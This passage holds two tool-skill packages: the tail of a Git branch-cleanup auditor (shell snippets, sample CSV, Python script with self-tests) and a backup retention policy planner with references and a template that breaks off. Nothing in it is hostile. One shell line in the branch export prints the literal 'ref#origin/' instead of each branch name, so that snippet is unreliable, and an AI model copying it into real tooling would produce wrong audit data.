git for-each-ref --format='%(refname:short)%09%(committerdate:short)%09%(authorname)' refs/remotes/origin |
while IFS="$(printf '\t')" read -r ref date author; do
case "$ref" in origin|origin/HEAD|"$base") continue;; esac
set -- $(git rev-list --left-right --count "$base...$ref")
merged=no; grep -qx "$ref" /tmp/merged.txt && merged=yes
printf '%s\t%s\t%s\t%s\t%s\t%s\tnone\n' "ref#origin/" "$date" "$author" "$2" "$1" "$merged" >> branches.tsv
done
```
`$1` is "behind" (commits only in base) and `$2` is "ahead" (commits only in the branch).
## PR states
GitHub CLI (`gh pr list` returns newest PRs first; awk keeps the first, i.e. newest, PR per branch):
```
gh pr list --state all --limit 1000 --json headRefName,state \
-q '.[] | [.headRefName, (.state|ascii_downcase)] | @tsv' | awk -F'\t' '!seen[$1]++' > prs.tsv
python3 scripts/branch_audit.py --repo . --prs prs.tsv
```
GitHub states map to open, merged, closed. GitLab: `glab mr list --all` or the API `GET /projects/:id/merge_requests?state=all` (`source_branch`, `state`: opened -> open, merged, closed).
For a TSV or CSV, put the state in the `pr` column (open, merged, closed or none).
## Thresholds
| Option | Default | Notes |
|---|---|---|
| `--stale-days` | 90 | Idle unmerged branches beyond this are archived |
| `--ask-days` | 30 | Idle unmerged branches beyond this need an owner answer |
| `--behind-limit` | 300 | FAR_BEHIND threshold in commits |
| `--protect` | main,master,develop,trunk,gh-pages,release/*,hotfix/* | fnmatch patterns, case-sensitive |
| `--prefixes` | feature,fix,chore,... | Allowed name prefixes for BAD_NAME |
| `--today` | today | Fix the date for repeatable reports |
## Privacy
Author names come from commits. Share the per-owner list only inside the team.
FILE:templates/cleanup-announcement.md
# Branch cleanup on <repository> - please check by <deadline date>
Hi team,
We have <N> branches on `<remote>`. On <cleanup date> we will clean up:
- **<n> merged branches** will be deleted (their changes are already in `<base>`).
- **<n> idle unmerged branches** (no commits for <stale days>+ days) will be saved as `archive/<branch>` tags and then deleted. You can restore any of them with `git push origin archive/<branch>:refs/heads/<branch>`.
- **<n> branches need your answer** (no commits for <ask days>+ days): keep, merge, or archive?
## Your branches
| Owner | Branches | Needed from you |
|---|---|---|
| <name> | <branch, branch> | <keep / archive / merge by deadline> |
## Please fix
- <CASE_COLLISION: fix/search-timeout and fix/Search-Timeout - Lena, delete one today>
- <PR_STALE: feature/checkout-redesign - Marco, finish, split or close>
## From now on
- Branch names: `<type>/<short-description>` (feature/, fix/, chore/, ...)
- Head branches are deleted automatically after merge.
- This audit runs on the first Monday of each month.
Reply in <channel/thread> if a branch must stay. Thanks!
FILE:examples/webshop-branches.csv
branch,last_commit,author,ahead,behind,merged,pr
main,2026-10-23,Selin Kaya,0,0,yes,none
develop,2026-10-22,Selin Kaya,4,0,no,none
release/2.3,2025-11-12,Selin Kaya,2,611,no,none
release/2.8,2026-09-30,Selin Kaya,1,48,no,none
feature/cart-coupons,2026-10-20,Marco Rossi,12,6,no,open
feature/checkout-redesign,2026-04-02,Marco Rossi,134,742,no,open
feature/wishlist-sharing,2026-09-08,Aiko Tanaka,7,95,no,none
feature/gift-cards,2026-05-19,Aiko Tanaka,23,401,no,closed
fix/vat-rounding,2026-10-02,Lena Fischer,3,22,yes,merged
fix/search-timeout,2026-08-14,Lena Fischer,5,130,no,merged
fix/Search-Timeout,2026-08-13,Lena Fischer,1,131,no,none
chore/bump-node-22,2026-07-01,Omar Haddad,0,210,no,none
spike/graphql-gateway,2026-02-10,Omar Haddad,58,988,no,none
johns-test,2026-06-21,John Miller,2,260,no,none
dependabot/npm_and_yarn/axios-1.7.4,2026-10-18,dependabot[bot],1,9,no,open
experiment/ab-banner,2026-10-12,Aiko Tanaka,4,14,no,none
FILE:scripts/branch_audit.py
#!/usr/bin/env python3
"""Stale Git branch cleanup auditor (Python 3 standard library only).
Sorts every remote branch into an action, flags risky branches and prints a reviewable
cleanup script. Nothing is deleted: the script only prints commands.
Input, either:
1. a TSV or CSV export (header required, delimiter detected from the header, extra columns ignored):
branch last_commit author ahead behind merged pr
last_commit = YYYY-MM-DD, ahead/behind = commits vs the base branch,
merged = yes/no (reachable from base), pr = open | merged | closed | none
2. --repo PATH: reads the remote branches straight from a local clone with git
(run `git fetch --prune` first). PR state comes from --prs FILE (lines "branch<TAB>state",
e.g. from `gh pr list --state all --json headRefName,state`), otherwise "none".
Actions (first match wins):
KEEP_PROTECTED name matches --protect patterns (main, master, develop, release/*, ...)
DELETE_MERGED merged into base, 0 commits ahead, or its PR was merged (squash/rebase)
KEEP_OPEN_PR has an open pull request
ARCHIVE_AND_DELETE unmerged and no commit for >= --stale-days (tag archive/<name>, then delete)
ASK_OWNER unmerged and no commit for >= --ask-days
KEEP_ACTIVE recent unmerged work
Findings (severity):
HIGH CASE_COLLISION branch names that differ only by case (break on macOS/Windows clones)
MEDIUM PR_STALE open PR whose branch has had no commit for >= --stale-days
MEDIUM FAR_BEHIND unmerged branch more than --behind-limit commits behind base
LOW LONG_LIVED unmerged branch more than 50 commits ahead and older than --ask-days
LOW OLD_PROTECTED protected release/hotfix branch older than --stale-days (tag it, unprotect, delete)
LOW BAD_NAME name without an allowed prefix, or with uppercase/space characters
Usage:
python3 branch_audit.py branches.csv --today 2026-10-24
python3 branch_audit.py --repo . --base main --prs prs.tsv
python3 branch_audit.py branches.tsv --json
python3 branch_audit.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import fnmatch
import json
import shlex
import subprocess
import sys
DEFAULT_PROTECT = "main,master,develop,trunk,gh-pages,release/*,hotfix/*"
DEFAULT_PREFIXES = "feature,feat,fix,bugfix,hotfix,release,chore,docs,refactor,test,ci,perf,build,deps,dependabot,renovate,experiment,spike"
ACTION_ORDER = ["DELETE_MERGED", "ARCHIVE_AND_DELETE", "ASK_OWNER", "KEEP_OPEN_PR", "KEEP_ACTIVE", "KEEP_PROTECTED"]
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class DataError(ValueError):
pass
def yes(v):
return str(v).strip().lower() in ("yes", "y", "true", "1")
def parse_tsv(text):
lines = text.splitlines()
delim = "\t" if lines and "\t" in lines[0] else ","
rows = list(csv.DictReader(lines, delimiter=delim))
need = {"branch", "last_commit", "author", "ahead", "behind", "merged"}
if not rows:
raise DataError("no branches in input")
missing = need - set(rows[0].keys())
if missing:
raise DataError("missing columns: " + ", ".join(sorted(missing)))
out = []
for i, r in enumerate(rows, 2):
try:
out.append({"branch": r["branch"].strip(), "last_commit": dt.date.fromisoformat(r["last_commit"].strip()[:10]),
"author": r["author"].strip() or "unknown", "ahead": int(r["ahead"]), "behind": int(r["behind"]),
"merged": yes(r["merged"]), "pr": (r.get("pr") or "none").strip().lower() or "none"})
except (ValueError, TypeError) as e:
raise DataError(f"line {i}: {e}")
return out
def git(repo, *args):
r = subprocess.run(["git", "-C", repo, *args], capture_output=True, text=True)
if r.returncode != 0:
raise DataError(f"git {' '.join(args)}: {r.stderr.strip()}")
return r.stdout
def read_repo(repo, remote, base, prs):
base_ref = f"{remote}/{base}"
git(repo, "rev-parse", "--verify", base_ref)
merged = {l.strip() for l in git(repo, "branch", "-r", "--merged", base_ref).splitlines()}
out = []
fmt = "%(refname:short)%09%(committerdate:short)%09%(authorname)"
for line in git(repo, "for-each-ref", f"--format={fmt}", f"refs/remotes/{remote}").splitlines():
ref, date, author = line.split("\t")
if ref in (remote, f"{remote}/HEAD") or ref == base_ref:
continue
behind, ahead = git(repo, "rev-list", "--left-right", "--count", f"{base_ref}...{ref}").split()
name = ref[len(remote) + 1:]
out.append({"branch": name, "last_commit": dt.date.fromisoformat(date), "author": author,
"ahead": int(ahead), "behind": int(behind), "merged": ref in merged, "pr": prs.get(name, "none")})
return out
def audit(branches, today, base="main", remote="origin", stale_days=90, ask_days=30, behind_limit=300,
protect=DEFAULT_PROTECT, prefixes=DEFAULT_PREFIXES):
protect_pats = [p.strip() for p in protect.split(",") if p.strip()]
allowed = {p.strip() for p in prefixes.split(",") if p.strip()}
findings, rows = [], []
def add(sev, code, branch, msg):
findings.append({"severity": sev, "code": code, "branch": branch, "message": msg})
for b in branches:
name, age = b["branch"], (today - b["last_commit"]).days
prot = name == base or any(fnmatch.fnmatchcase(name, p) for p in protect_pats)
if prot:
action = "KEEP_PROTECTED"
elif b["merged"] or b["ahead"] == 0 or b["pr"] == "merged":
action = "DELETE_MERGED"
elif b["pr"] == "open":
action = "KEEP_OPEN_PR"
elif age >= stale_days:
action = "ARCHIVE_AND_DELETE"
elif age >= ask_days:
action = "ASK_OWNER"
else:
action = "KEEP_ACTIVE"
why = {"KEEP_PROTECTED": "protected pattern",
"DELETE_MERGED": "merged into " + base if b["merged"] else ("no commits ahead" if b["ahead"] == 0 else "PR merged (squash/rebase)"),
"KEEP_OPEN_PR": "open pull request", "ARCHIVE_AND_DELETE": f"unmerged, idle {age} days",
"ASK_OWNER": f"unmerged, idle {age} days", "KEEP_ACTIVE": f"active {age} days ago"}[action]
rows.append({**b, "last_commit": b["last_commit"].isoformat(), "age_days": age, "action": action, "reason": why})
unmerged = action in ("ARCHIVE_AND_DELETE", "ASK_OWNER", "KEEP_OPEN_PR", "KEEP_ACTIVE")
if action == "KEEP_OPEN_PR" and age >= stale_days:
add("MEDIUM", "PR_STALE", name, f"open PR but no commit for {age} days; ask {b['author']} to finish or close it")
if unmerged and b["behind"] > behind_limit:
add("MEDIUM", "FAR_BEHIND", name, f"{b['behind']} commits behind {base}; rebase soon or expect painful conflicts")
if unmerged and b["ahead"] > 50 and age >= ask_days:
add("LOW", "LONG_LIVED", name, f"{b['ahead']} unmerged commits; split into smaller PRs or put it behind a feature flag")
if prot and name != base and age >= stale_days and (name.startswith("release/") or name.startswith("hotfix/")):
add("LOW", "OLD_PROTECTED", name, f"protected branch idle {age} days; tag it, remove protection and delete")
if not prot:
prefix = name.split("/", 1)[0] if "/" in name else ""
if prefix not in allowed or name != name.lower() or " " in name:
add("LOW", "BAD_NAME", name, "use lowercase <type>/<short-description> (e.g. feature/cart-coupons)")
seen = {}
for b in branches:
seen.setdefault(b["branch"].lower(), []).append(b["branch"])
for names in seen.values():
if len(names) > 1:
add("HIGH", "CASE_COLLISION", " / ".join(names), "names differ only by case; clones on macOS/Windows see one ref and fetches fail; delete or rename one")
findings.sort(key=lambda f: (SEV_ORDER[f["severity"]], f["code"], f["branch"]))
rows.sort(key=lambda r: (ACTION_ORDER.index(r["action"]), -r["age_days"]))
counts = {a: sum(r["action"] == a for r in rows) for a in ACTION_ORDER}
owners = {}
for r in rows:
if r["action"] in ("ASK_OWNER", "ARCHIVE_AND_DELETE"):
owners.setdefault(r["author"], []).append(r["branch"])
script = ["#!/bin/sh", "# Review before running. Generated by branch_audit.py; nothing has been deleted.", "set -e"]
for r in rows:
q = shlex.quote(r["branch"])
if r["action"] == "DELETE_MERGED":
script.append(f"git push {remote} --delete {q} # {r['reason']}")
for r in rows:
if r["action"] == "ARCHIVE_AND_DELETE":
q = shlex.quote(r["branch"])
tag = shlex.quote("archive/" + r["branch"])
script.append(f"git tag {tag} {shlex.quote(remote + '/' + r['branch'])} && git push {remote} {shlex.quote('refs/tags/archive/' + r['branch'])} && git push {remote} --delete {q}")
return {"today": today.isoformat(), "base": base, "remote": remote, "stale_days": stale_days, "ask_days": ask_days,
"branches": len(rows), "counts": counts, "rows": rows, "owners": owners, "findings": findings,
"cleanup_script": "\n".join(script) + "\n"}
def render(r):
c = r["counts"]
out = [f"# Branch cleanup audit ({r['remote']}, base {r['base']}, as of {r['today']})", "",
f"{r['branches']} branches: {c['DELETE_MERGED']} delete (merged), {c['ARCHIVE_AND_DELETE']} archive and delete, "
f"{c['ASK_OWNER']} ask owner, {c['KEEP_OPEN_PR']} open PR, {c['KEEP_ACTIVE']} active, {c['KEEP_PROTECTED']} protected",
f"Rules: stale >= {r['stale_days']} days idle, ask owner >= {r['ask_days']} days", "",
"| Action | Branch | Last commit | Author | Ahead/behind | Reason |", "|---|---|---|---|---|---|"]
for row in r["rows"]:
out.append(f"| {row['action']} | {row['branch']} | {row['last_commit']} | {row['author']} | {row['ahead']}/{row['behind']} | {row['reason']} |")
out += ["", "## Ask the owners"]
if not r["owners"]:
out.append("- nobody")
for who, names in sorted(r["owners"].items()):
out.append(f"- {who}: {', '.join(names)}")
out += ["", "## Findings"]
if not r["findings"]:
out.append("- none")
for f in r["findings"]:
out.append(f"- {f['severity']} {f['code']} {f['branch']}: {f['message']}")
out += ["", "## Cleanup script (review first, run after owners agree)", "```sh", r["cleanup_script"].rstrip(), "```"]
return "\n".join(out) + "\n"
def self_test():
tests, ok = [], 0
def check(name, cond):
nonlocal ok
tests.append(name)
print(("PASS " if cond else "FAIL ") + name)
ok += bool(cond)
today = dt.date(2026, 10, 24)
def b(name, days, ahead=3, behind=10, merged=False, pr="none", author="ana"):
return {"branch": name, "last_commit": today - dt.timedelta(days=days), "author": author,
"ahead": ahead, "behind": behind, "merged": merged, "pr": pr}
def act(**kw):
name = kw.pop("name", "feature/x")
days = kw.pop("days", 10)
return audit([b(name, days, **kw)], today)["rows"][0]["action"]
check("main protected", act(name="main", days=500) == "KEEP_PROTECTED")
check("release/* protected", act(name="release/2.4", days=200) == "KEEP_PROTECTED")
check("merged -> DELETE_MERGED", act(merged=True, days=5) == "DELETE_MERGED")
check("0 ahead -> DELETE_MERGED", act(ahead=0) == "DELETE_MERGED")
check("squash-merged PR -> DELETE_MERGED", act(pr="merged", ahead=4) == "DELETE_MERGED")
check("open PR kept", act(pr="open", days=200) == "KEEP_OPEN_PR")
check("idle 120 d unmerged -> ARCHIVE", act(days=120) == "ARCHIVE_AND_DELETE")
check("idle 45 d -> ASK_OWNER", act(days=45) == "ASK_OWNER")
check("idle 5 d -> KEEP_ACTIVE", act(days=5) == "KEEP_ACTIVE")
check("closed PR idle 100 d -> ARCHIVE", act(pr="closed", days=100) == "ARCHIVE_AND_DELETE")
def codes(rows, **kw):
return {f["code"] for f in audit(rows, today, **kw)["findings"]}
check("case collision HIGH", "CASE_COLLISION" in codes([b("feature/Login", 3), b("feature/login", 3)]))
check("stale PR MEDIUM", "PR_STALE" in codes([b("feature/a", 100, pr="open")]))
check("far behind MEDIUM", "FAR_BEHIND" in codes([b("feature/a", 10, behind=900)]))
check("merged far behind not flagged", "FAR_BEHIND" not in codes([b("feature/a", 10, behind=900, merged=True)]))
check("long lived LOW", "LONG_LIVED" in codes([b("feature/a", 40, ahead=80)]))
check("old release LOW", "OLD_PROTECTED" in codes([b("release/1.0", 400)]))
check("bad name LOW", "BAD_NAME" in codes([b("johns-test", 3)]) and "BAD_NAME" in codes([b("feature/NewThing", 3)]))
check("good name not flagged", "BAD_NAME" not in codes([b("fix/cart-total", 3)]))
r = audit([b("feature/old", 200), b("fix/done", 3, merged=True)], today)
check("script deletes merged branch", "git push origin --delete fix/done" in r["cleanup_script"])
check("script tags before deleting stale", "git tag archive/feature/old origin/feature/old && git push origin refs/tags/archive/feature/old && git push origin --delete feature/old" in r["cleanup_script"])
r = audit([b("main", 1, ahead=0, behind=0), b("feature/old", 200), b("develop", 300)], today)
check("script never deletes protected branches", "--delete main" not in r["cleanup_script"] and "--delete develop" not in r["cleanup_script"]
and r["cleanup_script"].rstrip().endswith("git push origin --delete feature/old"))
r = audit([b("feature/it's", 200)], today)
check("odd names are shell-quoted", "'feature/it'\"'\"'s'" in r["cleanup_script"])
r = audit([b("feature/a", 200, author="ana"), b("feature/b", 40, author="ana"), b("feature/c", 2, author="bo")], today)
check("owners grouped", r["owners"] == {"ana": ["feature/a", "feature/b"]})
rows = parse_tsv("branch\tlast_commit\tauthor\tahead\tbehind\tmerged\tpr\nfeature/x\t2026-10-01\tAna\t2\t5\tno\topen\n")
check("TSV parsed", rows[0]["ahead"] == 2 and rows[0]["pr"] == "open" and not rows[0]["merged"])
rows = parse_tsv("branch,last_commit,author,ahead,behind,merged,pr\nfix/y,2026-09-01,Bo,0,3,yes,none\n")
check("CSV parsed", rows[0]["branch"] == "fix/y" and rows[0]["merged"] and rows[0]["behind"] == 3)
try:
parse_tsv("branch\tauthor\nx\ty\n")
check("missing columns rejected", False)
except DataError:
check("missing columns rejected", True)
# real git repository round trip (skipped if git is missing)
import os, shutil, tempfile
if shutil.which("git"):
d = tempfile.mkdtemp()
try:
env = {**os.environ, "GIT_AUTHOR_NAME": "Ana", "GIT_AUTHOR_EMAIL": "a@x", "GIT_COMMITTER_NAME": "Ana", "GIT_COMMITTER_EMAIL": "a@x"}
run = lambda *a, cwd=d: subprocess.run(["git", *a], cwd=cwd, env=env, capture_output=True, check=True)
os.makedirs(f"{d}/remote.git"); run("init", "-q", "--bare", "-b", "main", cwd=f"{d}/remote.git")
run("clone", "-q", f"{d}/remote.git", "w"); w = f"{d}/w"
run("checkout", "-q", "-b", "main", cwd=w); run("commit", "-q", "--allow-empty", "-m", "init", cwd=w)
run("checkout", "-q", "-b", "fix/done", cwd=w); run("commit", "-q", "--allow-empty", "-m", "fix", cwd=w)
run("checkout", "-q", "main", cwd=w); run("merge", "-q", "--ff-only", "fix/done", cwd=w)
run("checkout", "-q", "-b", "feature/wip", cwd=w); run("commit", "-q", "--allow-empty", "-m", "wip", cwd=w)
run("push", "-q", "origin", "main", "fix/done", "feature/wip", cwd=w)
r = audit(read_repo(w, "origin", "main", {}), today)
acts = {x["branch"]: x["action"] for x in r["rows"]}
check("git repo: merged and active branches read", acts == {"fix/done": "DELETE_MERGED", "feature/wip": "KEEP_ACTIVE"})
finally:
shutil.rmtree(d, ignore_errors=True)
print(f"{ok}/{len(tests)} passed")
return 0 if ok == len(tests) else 1
def main():
ap = argparse.ArgumentParser(description="Stale Git branch cleanup auditor")
ap.add_argument("tsv", nargs="?", help="branch TSV or CSV export")
ap.add_argument("--repo", help="read remote branches from this local clone instead of a TSV")
ap.add_argument("--prs", help="TSV 'branch<TAB>state' with PR states (open/merged/closed), used with --repo")
ap.add_argument("--remote", default="origin")
ap.add_argument("--base", default="main")
ap.add_argument("--today", help="YYYY-MM-DD (default: today)")
ap.add_argument("--stale-days", type=int, default=90)
ap.add_argument("--ask-days", type=int, default=30)
ap.add_argument("--behind-limit", type=int, default=300)
ap.add_argument("--protect", default=DEFAULT_PROTECT)
ap.add_argument("--prefixes", default=DEFAULT_PREFIXES)
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
try:
today = dt.date.fromisoformat(a.today) if a.today else dt.date.today()
if a.repo:
prs = {}
if a.prs:
with open(a.prs, encoding="utf-8") as fh:
for line in fh:
if "\t" in line:
k, v = line.rstrip("\n").split("\t", 1)
prs[k] = v.strip().lower()
branches = read_repo(a.repo, a.remote, a.base, prs)
elif a.tsv:
with open(a.tsv, encoding="utf-8") as fh:
branches = parse_tsv(fh.read())
else:
ap.error("give a TSV/CSV file or --repo PATH")
r = audit(branches, today, a.base, a.remote, a.stale_days, a.ask_days, a.behind_limit, a.protect, a.prefixes)
except (OSError, DataError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else render(r), end="\n" if a.json else "")
return 1 if any(f["severity"] == "HIGH" for f in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Plans and audits backup retention (grandfather-father-son) policies. Simulates hourly, daily, weekly, monthly and yearly keep rules like restic or borg, lists the restore points you really keep and the gaps between them, and estimates storage and cost now and in 12 months. Flags missed RPO, short history, legal retention gaps, no offsite or immutable copy, stale restore tests and job overlap. Includes a stdlib Python planner with --self-test.
---
name: backup-retention-policy-planner
description: Plans and audits backup retention (grandfather-father-son) policies. Simulates hourly, daily, weekly, monthly and yearly keep rules like restic or borg, lists the restore points you really keep and the gaps between them, and estimates storage and cost now and in 12 months. Flags missed RPO, short history, legal retention gaps, no offsite or immutable copy, stale restore tests and job overlap. Includes a stdlib Python planner with --self-test.
---
# Backup Retention Policy Planner
You help engineers and small IT teams design a backup retention policy they can defend: enough restore points to recover from yesterday's mistake and last quarter's silent corruption, a copy that survives a ransomware attack or a lost account, a storage bill that fits the budget, and a restore that has actually been tested. You turn "keep 7 daily, 4 weekly, 12 monthly" into the concrete list of restore points it produces and check it against the requirements.
## Files in this skill
- `scripts/retention_plan.py` - simulates a GFS policy, lists kept restore points, gaps, storage and cost, and prints findings (Python 3 standard library only)
- `references/retention-design.md` - how keep rules select points, choosing tiers from RPO and history needs, legal retention, storage models and cost
- `references/resilience-checklist.md` - 3-2-1-1-0, immutability, encryption and keys, restore testing, monitoring and what each finding means
- `templates/backup-policy.md` - a one-page backup policy to fill in and share with the team
- `examples/clinic-postgres-policy.json` - a PostgreSQL database backed up nightly to S3 with a 4 h RPO and 3-year legal retention
## Workflow
### 1. Collect the facts
Ask for: what is backed up and how (tool, full or incremental), backup frequency and how long a run takes, the current keep rules, data size, daily change rate and growth, where copies live (onsite, offsite, immutable/object lock, encrypted), the storage price, the date of the last successful restore test, and the requirements: RPO (maximum data loss), how far back they must be able to restore, any legal or contractual retention, and a storage budget. If they do not know the change rate, start with 2-5% per day for databases and 1% for file shares, and say so.
### 2. Run the planner
```
python3 scripts/retention_plan.py examples/clinic-postgres-policy.json
python3 scripts/retention_plan.py policy.json --json
python3 scripts/retention_plan.py --self-test
```
Exit code 1 means HIGH findings, 2 means bad input.
### 3. Explain the result
Start with the restore points they really have (count, oldest, biggest gaps) because most people overestimate them. Then go through the findings by severity using `references/retention-design.md` and `references/resilience-checklist.md`, and give one concrete change for each: a new keep rule, WAL or log shipping for a tight RPO, object lock, a restore drill date. Re-run the planner with the proposed policy and show the before and after storage and cost.
### 4. Deliver
Fill `templates/backup-policy.md` with the final keep rules, copies, requirements, restore test plan and owners.
## Example result
For `examples/clinic-postgres-policy.json` (nightly backups, keep 7 daily, 4 weekly, 6 monthly): 14 restore points, oldest 4.8 months, gaps of up to 31 days after the first month, 968 GB now and 1550 GB in 12 months (22.27 to 35.66 USD/month). Findings: HIGH RPO_MISSED (24 h backups against a 4 h RPO; add WAL archiving or 4-hourly incrementals), HIGH LEGAL_RETENTION (3 years needed; set yearly to 5), MEDIUM RESTORE_TEST_OLD (193 days), MEDIUM NO_IMMUTABLE, MEDIUM STORAGE_OVER (1550 GB against a 1500 GB budget in 12 months).
## Rules
- A backup that has never been restored is not proven. Always ask for the last restore test and recommend a timed drill.
- Keep rules count buckets, not days: "monthly 12" keeps the newest backup of each of the last 12 months that have one, including the current month.
- Say which storage model you assumed; incremental estimates are an upper bound because deduplication and repeated block changes make the real size smaller.
- RPO is set by backup frequency (or log shipping), not by retention; history depth is set by retention, not by frequency.
- Never suggest deleting existing backups until the new policy has run and a restore from it has been tested.
FILE:references/retention-design.md
# Retention Design
## How keep rules select restore points
Tools such as restic (`forget --keep-daily 7 --keep-weekly 4`), borg (`prune --keep-daily 7`), pgBackRest and most backup appliances use the same idea. For each tier, walk the backups from newest to oldest and keep a backup when its bucket differs from the last one kept by that tier, until the tier's count is used:
| Tier | Bucket | "keep N" means |
|---|---|---|
| hourly | calendar hour | newest backup of each of the last N hours that have a backup |
| daily | calendar day | newest backup of each of the last N days |
| weekly | ISO week (Monday to Sunday) | newest backup of each of the last N weeks |
| monthly | calendar month | newest backup of each of the last N months |
| yearly | calendar year | newest backup of each of the last N years |
Consequences people miss:
- Every tier starts with the newest backup, so the tiers overlap. 7 daily + 4 weekly + 12 monthly is 20 points, not 23.
- The current week, month and year count as one bucket each. "monthly 12" reaches back about 11 months, and "yearly 3" only reaches the end of the year before last (about 1.8 years in late October).
- Monthly points are month-end backups (the newest in each month), weekly points are Sunday backups for ISO weeks.
- Days without a backup do not use up a daily slot, so a failed week stretches daily history further back but leaves a hole.
`scripts/retention_plan.py` reproduces this rule, prints every kept point with its tiers (D/W/M/Y/H) and lists the largest gaps.
## Choosing tiers from requirements
| Requirement | What sets it | Typical answer |
|---|---|---|
| RPO (max data loss) | backup frequency or log shipping | 24 h: nightly; 1-4 h: hourly snapshots or incrementals; minutes: database WAL/binlog archiving with point-in-time recovery |
| Recover from a mistake noticed late | daily and weekly depth | at least 14-35 days: the time it takes someone to notice a bad deploy, a deleted folder or a bad import |
| Silent corruption, audits | monthly depth | 6-13 months |
| Legal or contractual retention | yearly tier or a separate archive | N years needs yearly N+2 to have an N-year-old point all year round; often better as a separate archive job with its own lock |
| Budget | storage model and change rate | see below |
A common, defensible starting point for business data: hourly 24 (if RPO < 24 h), daily 14, weekly 8, monthly 12, yearly as required by law.
Gaps: when a coarse tier starts long after the fine tier ends (daily 7 then monthly), restores between day 8 and the month end land on a point up to 30 days older than the one you wanted. Add weekly points or more daily points (`TIER_GAP`).
## Storage models
- **Full**: every kept point is a complete copy (tape, simple dump files, some snapshot exports). Storage = points x full size.
- **Incremental / deduplicated** (restic, borg, pgBackRest incremental, ZFS/EBS snapshots): one full plus the data changed between kept points. The planner charges `daily_change_pct x days` between neighbouring points, capped at 100% of the full size. This is an upper bound: when the same blocks change every day, a monthly gap costs much less than 30 days of changes. Measure real numbers with `restic stats --mode raw-data`, `borg info` or the storage bill and adjust `daily_change_pct`.
- Growth: `growth_pct_per_month` compounds for 12 months to show next year's storage and cost.
Cost levers, from cheapest to most impact on recovery: compress and deduplicate; move monthly and yearly points to a colder storage class (mind minimum storage durations and retrieval fees); drop hourly points after 2-3 days; reduce monthly points after the legal need is met by a yearly archive.
## Worked example
Nightly backups at 02:00, keep daily 7, weekly 4, monthly 6, as of 2026-10-24:
- daily: 10-24 back to 10-18
- weekly: 10-24 (current ISO week), 10-18, 10-11, 10-04
- monthly: 10-24, 09-30, 08-31, 07-31, 06-30, 05-31
- 14 distinct points; oldest 2026-05-31 (about 4.8 months); the gaps after the first month are 30-31 days.
FILE:references/resilience-checklist.md
# Resilience Checklist
## 3-2-1-1-0
- **3** copies of the data (production plus two backups)
- **2** different storage types or systems
- **1** copy offsite (another region, provider or building)
- **1** copy immutable or offline (object lock in compliance mode, WORM storage, tape out of the library, a pull-based backup the source cannot delete)
- **0** errors in the last verified restore
## What each finding means and how to fix it
| Code | Severity | Why it matters | Typical fix |
|---|---|---|---|
| RPO_MISSED | HIGH | A failure just before the next backup loses more data than the business accepted | Shorter interval, hourly incrementals, or continuous log shipping (PostgreSQL WAL archiving with pgBackRest/WAL-G, MySQL binlog, SQL Server log backups) |
| HISTORY_SHORT | HIGH | Problems noticed late (bad import, deleted folder, slow corruption) cannot be undone | More daily/weekly points; at least the time it takes to notice a problem plus a margin |
| LEGAL_RETENTION | HIGH | Contract, tax or health-record rules can require years of history | Yearly tier of N+2 or a separate yearly archive job with object lock retention set to the legal period |
| NO_OFFSITE | HIGH | Fire, region outage or a compromised account removes production and backups together | Replicate to another region/provider with separate credentials |
| NEVER_RESTORED | HIGH | Backups fail silently: missing files, wrong permissions, lost encryption keys, untested runbooks | Restore drill now; record the time it took (actual RTO) |
| OVERLAP | HIGH | Jobs collide or get skipped, so the real interval is longer than planned | Incremental backups, faster storage, or a longer interval with log shipping |
| RESTORE_TEST_OLD | MEDIUM | Systems change; last spring's test says little about today | Quarterly drills; monthly automated restore-and-checksum for critical data |
| NO_IMMUTABLE | MEDIUM | Ransomware and attackers delete backups first | S3 Object Lock / Azure immutable blob / GCS bucket lock, or an offline copy |
| NOT_ENCRYPTED | MEDIUM | An offsite copy leaks all data if the bucket or tape is exposed | Client-side encryption; keys stored outside the backup system and escrowed |
| STORAGE_OVER | MEDIUM | The budget forces someone to cut retention in a hurry later | Colder storage for old tiers, fewer monthly points, measure the real change rate |
| TIER_GAP | LOW | Restores in the gap land on a much older point than wanted | Add weekly points or extend daily points |
| TIGHT_WINDOW | LOW | Data growth will push the job into overlap | Plan incremental or parallel backups before it happens |
## Restore drill (one page)
1. Pick a random restore point, not the newest.
2. Restore into an isolated environment using only the runbook and the escrowed keys.
3. Check: row counts or file counts, application starts, a known record from that date exists.
4. Record start and end time (actual RTO), problems and runbook fixes.
5. Delete the restored copy and log the drill date; the planner's `last_restore_test` is this date.
## Monitoring
- Alert when the newest backup is older than 1.5 x the interval.
- Alert on failed or partial jobs, not only on missing ones.
- Track backup size per run; a sudden drop often means a broken include path, a sudden jump can mean ransomware encryption.
- Check that prune/forget jobs run; a policy that is never applied silently fills the storage.
## Keys and access
- Backup credentials should be write-only from the source where possible; deletion needs a different identity.
- Keep encryption keys and the restore runbook somewhere that survives the loss of the main environment (password manager vault, printed sealed copy).
FILE:templates/backup-policy.md
# Backup Policy - <system name>
**Owner:** <team / person> **Reviewed:** <date> **Next review:** <date + 6 months>
## Scope
- Data: <databases, buckets, file shares, configs>
- Excluded: <caches, rebuildable artifacts>
## Requirements
| Item | Target | Source |
|---|---|---|
| RPO (max data loss) | <4 h> | <business owner> |
| RTO (max restore time) | <2 h> | <business owner> |
| Minimum history | <35 days> | <ops> |
| Legal / contractual retention | <3 years> | <contract, regulation> |
| Storage budget | <1500 GB / 40 USD per month> | <finance> |
## Schedule and keep rules
| Job | Frequency | Method | Keep rules |
|---|---|---|---|
| <full/incremental> | <daily 02:00> | <pgBackRest incr to S3> | <daily 14, weekly 8, monthly 12, yearly 5> |
| <log shipping> | <continuous> | <WAL archive> | <14 days> |
Restore points produced (from `scripts/retention_plan.py`): <count>, oldest <age>, largest gap <days>.
## Copies (3-2-1-1-0)
| Copy | Location | Immutable | Encrypted | Credentials |
|---|---|---|---|---|
| Primary backup | <region A bucket> | <no> | <yes> | <backup-writer role> |
| Offsite | <region B / provider B> | <object lock 35 d> | <yes> | <separate account> |
## Storage and cost
- Now: <GB> / <cost per month> - In 12 months: <GB> / <cost per month>
## Restore testing
- Cadence: <quarterly drill, monthly automated check>
- Last test: <date>, result <ok / issues>, actual RTO <time>
- Runbook: <link> - Keys escrowed at: <location>
## Monitoring and alerts
